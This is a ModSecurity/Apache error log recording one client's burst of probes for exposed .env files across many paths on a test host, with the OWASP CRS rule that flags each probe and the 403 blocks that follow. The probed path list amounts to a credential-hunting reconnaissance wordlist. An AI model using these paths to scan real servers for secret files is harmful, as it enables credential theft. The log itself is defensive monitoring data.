[Thu Feb 26 01:03:11.787154 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/oldsanta/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk9AAAAAM&quot;]
[Thu Feb 26 01:03:11.819044 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nodejs-projects/play-ground/login/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nodejs-Projects/play-ground/login/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-P1wAAAAU&quot;]
[Thu Feb 26 01:03:11.819276 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nodejs-Projects/play-ground/login/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-P1wAAAAU&quot;]
[Thu Feb 26 01:03:11.819438 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nodejs-Projects/play-ground/login/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-P1wAAAAU&quot;]
[Thu Feb 26 01:03:11.845045 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /opencart/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opencart/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk9QAAAAM&quot;]
[Thu Feb 26 01:03:11.845259 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opencart/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk9QAAAAM&quot;]
[Thu Feb 26 01:03:11.845402 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opencart/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk9QAAAAM&quot;]
[Thu Feb 26 01:03:11.879769 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nodejs-projects/play-ground/manageuserroles/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nodejs-Projects/play-ground/ManageUserRoles/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-P2AAAAAU&quot;]
[Thu Feb 26 01:03:11.880004 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nodejs-Projects/play-ground/ManageUserRoles/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-P2AAAAAU&quot;]
[Thu Feb 26 01:03:11.880152 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nodejs-Projects/play-ground/ManageUserRoles/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-P2AAAAAU&quot;]
[Thu Feb 26 01:03:11.888356 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ops/vagrant/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ops/vagrant/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk9gAAAAM&quot;]
[Thu Feb 26 01:03:11.888578 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ops/vagrant/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk9gAAAAM&quot;]
[Thu Feb 26 01:03:11.888730 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ops/vagrant/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk9gAAAAM&quot;]
[Thu Feb 26 01:03:11.910382 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /option/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/option/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk9wAAAAM&quot;]
[Thu Feb 26 01:03:11.910602 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/option/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk9wAAAAM&quot;]
[Thu Feb 26 01:03:11.910738 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/option/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk9wAAAAM&quot;]
[Thu Feb 26 01:03:11.922596 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /novnc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/noVNC/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-P2QAAAAU&quot;]
[Thu Feb 26 01:03:11.922828 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/noVNC/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-P2QAAAAU&quot;]
[Thu Feb 26 01:03:11.922983 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/noVNC/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-P2QAAAAU&quot;]
[Thu Feb 26 01:03:11.948513 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /orientdb-client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/orientdb-client/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk-AAAAAM&quot;]
[Thu Feb 26 01:03:11.948741 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/orientdb-client/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk-AAAAAM&quot;]
[Thu Feb 26 01:03:11.948885 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/orientdb-client/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk-AAAAAM&quot;]
[Thu Feb 26 01:03:11.982451 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /outputs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/outputs/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk-QAAAAM&quot;]
[Thu Feb 26 01:03:11.982686 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/outputs/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk-QAAAAM&quot;]
[Thu Feb 26 01:03:11.982836 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/outputs/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk-QAAAAM&quot;]
[Thu Feb 26 01:03:11.994387 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nuke.app.ui/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nuke.App.Ui/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-P2wAAAAU&quot;]
[Thu Feb 26 01:03:11.994600 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nuke.App.Ui/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-P2wAAAAU&quot;]
[Thu Feb 26 01:03:11.994748 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nuke.App.Ui/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-P2wAAAAU&quot;]
[Thu Feb 26 01:03:12.012071 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /owncloud/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/owncloud/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoEk-gAAAAM&quot;]
[Thu Feb 26 01:03:12.012449 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/owncloud/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoEk-gAAAAM&quot;]
[Thu Feb 26 01:03:12.012667 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/owncloud/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoEk-gAAAAM&quot;]
[Thu Feb 26 01:03:12.041375 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nuxt/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nuxt/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P3AAAAAU&quot;]
